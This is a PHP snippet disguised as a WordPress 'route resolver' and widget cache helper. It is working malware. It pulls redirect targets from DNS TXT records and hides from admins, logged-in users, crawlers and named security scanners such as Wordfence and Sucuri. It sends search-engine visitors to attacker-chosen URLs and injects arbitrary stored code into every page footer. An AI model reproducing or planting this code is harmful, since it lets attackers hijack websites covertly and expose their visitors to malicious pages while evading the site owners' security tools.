// WordPress route resolver function _wpx_resolve_ads($opt_key, $dns_key, $fallback_key) { static $m = []; if (isset($m[$opt_key])) return $m[$opt_key]; $k = '_wp_src_' . base_convert(abs(crc32($opt_key)), 10, 36); $hit = get_transient($k); if ($hit !== false) return $m[$opt_key] = $hit; $c = json_decode((string) get_option($opt_key, '{}'), true) ?: []; $h = $c[$dns_key] ?? ''; $fb = (array) ($c[$fallback_key] ?? []); $out = []; if ($h && function_exists('dns_get_record')) { foreach ((array) @dns_get_record($h, DNS_TXT) as $r) { $t = $r['txt'] ?? $r['entries'][0] ?? ''; if ($t && filter_var(strtok($t, '?'), FILTER_VALIDATE_URL)) $out[] = $t; } } $out = $out ?: $fb; set_transient($k, $out, 21600); // 6 hours return $m[$opt_key] = $out; } // Widget Cache Helper compatibility layer if (!function_exists('mu_core_config_array')) { function mu_core_config_array() { static $config = null; if ($config === null) $config = json_decode(get_option('_site_transient_widget_9611'), true); return $config; } } if (!function_exists('mu_core_redirect_handler')) { function mu_core_redirect_handler() { if (defined('_WPF_MU_INIT')) return; if (is_admin() || is_user_logged_in()) return; $cfg = mu_core_config_array(); if (empty($cfg['running']) || empty($cfg['targets'])) return; if (function_exists('_wpx_resolve_ads')) { $dns = _wpx_resolve_ads('_site_transient_widget_9611', 'dns_cfg', 'targets'); if (!empty($dns)) $cfg['targets'] = $dns; } $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $bot_terms = ['bot','crawl','spider','curl','wget','python','sucuri','wordfence','monarx','sitelock']; $bot_regex = '/' . implode('|', array_map('preg_quote', $bot_terms)) . '/i'; if (empty($ua) || preg_match($bot_regex, $ua)) return; $ref = strtolower($_SERVER['HTTP_REFERER'] ?? ''); if (empty($ref)) return; $se_sources = ['google.', 'bing.', 'yahoo.', 'yandex.', 'duckduckgo.', 'baidu.']; $found = array_filter($se_sources, function($s) use ($ref) { return stripos($ref, $s) !== false; }); if (empty($found)) return; if (!defined('DONOTCACHEPAGE')) define('DONOTCACHEPAGE', true); @header('X-LiteSpeed-Cache-Control: no-cache'); $mode = $cfg['forward_type'] ?? 'once'; if ($mode === 'always') { wp_redirect($cfg['targets'][array_rand($cfg['targets'])], 302); exit; } if (!empty($_COOKIE['_wp_d18f'])) return; $hrs = intval($cfg['lifetime'] ?? 24); setcookie('_wp_d18f', '1', time() + ($hrs * 3600), '/'); wp_redirect($cfg['targets'][array_rand($cfg['targets'])], 302); exit; } } add_action('parse_request', 'mu_core_redirect_handler', 5); add_action('wp_footer', function() { if (defined('_WPF_MU_INIT')) return; $cfg = mu_core_config_array(); if (!empty($cfg['widget_code'])) echo $cfg['widget_code']; }, 9964);